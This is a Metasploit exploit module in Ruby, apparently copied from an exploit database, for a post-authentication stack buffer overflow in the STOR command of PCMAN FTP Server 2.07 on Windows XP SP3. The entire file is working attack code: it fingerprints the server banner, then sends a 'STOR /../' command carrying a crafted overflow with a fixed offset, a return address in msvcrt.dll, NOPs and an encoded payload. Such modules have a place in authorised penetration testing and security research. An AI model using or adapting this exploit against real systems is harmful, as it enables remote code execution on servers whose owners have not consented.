## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow vulnerability found in the STOR command of the PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please note authentication is required in order to trigger the vulnerability. The overflowing string will also be seen on the FTP server log console. }, 'Author' => [ 'Christian (Polunchis) Ramirez', # Initial Discovery 'Rick (nanotechz9l) Flores' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '94624'], [ 'EDB', '27703'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'VERBOSE' => true }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\xff\x0a\x0d\x20\x40", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 English', { 'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll 'Offset' => 2011 } ], ], 'DisclosureDate' => 'Jun 27 2013', 'DefaultTarget' => 0)) end def check c = connect_login disconnect if c and banner =~ /220 PCMan's FTP Server 2\.0/ # Auth is required to exploit print_status("Able to authenticate, and banner shows the vulnerable version") return Exploit::CheckCode::Vulnerable elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/ print_status("Unable to authenticate, but banner shows the vulnerable version") # Auth failed, but based on version maybe the target is vulnerable return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit c = connect_login # Auth failed. The mixin should show the error, so we just bail. return unless c # Username is part of the overflowing string, so we need to account for that length user_length = datastore['FTPUSER'].to_s.length print_status("Trying victim #{target.name}...") sploit = rand_text_alpha(target['Offset'] - user_length) sploit << [target.ret].pack('V') sploit << make_nops(4) sploit << payload.encoded sploit << rand_text_alpha(sploit.length) send_cmd( ["STOR", "/../" + sploit], false ) disconnect end end # Iranian Exploit DataBase = http://IeDb.Ir [2013-09-22]